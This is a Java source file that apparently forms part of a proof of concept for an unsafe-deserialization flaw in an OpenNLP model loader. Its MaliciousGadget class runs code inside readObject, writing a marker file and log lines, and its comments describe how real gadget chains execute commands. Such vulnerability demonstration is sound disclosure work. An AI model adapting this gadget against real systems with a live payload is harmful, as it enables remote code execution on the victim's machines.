import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

/**
 * A simulated deserialization gadget.
 *
 * <p>This class represents the kind of class that a real Java deserialization
 * gadget chain (e.g. CommonsCollections, Groovy, Spring, etc.) would place on
 * the classpath. When {@code ObjectInputStream.readObject()} encounters this
 * class in a serialized stream, the JVM invokes its {@code readObject()} method
 * as part of the deserialization process — <em>before</em> the caller ever
 * gets a chance to inspect or cast the result.
 *
 * <p>The side-effect here is benign (writing a marker file) but it proves that
 * <b>arbitrary code executes during deserialization</b>. In a real attack the
 * {@code readObject()} method (or a chain of them) would execute
 * {@code Runtime.exec()}, write a file, or open a network connection.
 *
 * <p>This class must be on the classpath at runtime so that
 * {@code ObjectInputStream} can resolve and instantiate it — exactly as a
 * vulnerable transitive dependency would be in a downstream application.
 */
public class MaliciousGadget implements Serializable {

    private static final long serialVersionUID = 1L;

    private String command;

    public MaliciousGadget(String command) {
        this.command = command;
    }

    /**
     * Custom deserialization hook — this is the "gadget" entry point.
     *
     * <p>ObjectInputStream calls this method automatically when it encounters
     * a MaliciousGadget in the stream. The code here runs as part of
     * readObject(), before SvmDoccatModel.deserialize() can cast the result.
     */
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // Read the field back (default deserialization)
        ois.defaultReadObject();

        // === ARBITRARY CODE EXECUTION DURING DESERIALIZATION ===
        // In a real exploit, this would be a gadget chain that calls
        // Runtime.exec(), ProcessBuilder, etc. Here we write a marker
        // file as proof-of-execution.
        Path marker = Paths.get(System.getProperty("gadget.marker.path", "/tmp/opennlp_poc_marker.txt"));
        String proof = "DESERIALIZATION_GADGET_EXECUTED: " + command + "\n"
                + "Thread: " + Thread.currentThread().getName() + "\n"
                + "Time: " + java.time.Instant.now() + "\n"
                + "Class: " + this.getClass().getName() + "\n";

        try {
            Files.writeString(marker, proof);
        } catch (Exception e) {
            // Fallback: print to stderr if file write fails
            System.err.println("[GADGET] " + proof);
        }

        // Print to stdout so it shows up in logs
        System.out.println("[GADGET EXECUTED] Arbitrary code ran during deserialization: " + command);
        System.out.println("[GADGET EXECUTED] Marker file written to: " + marker);
        System.out.flush();
    }
}
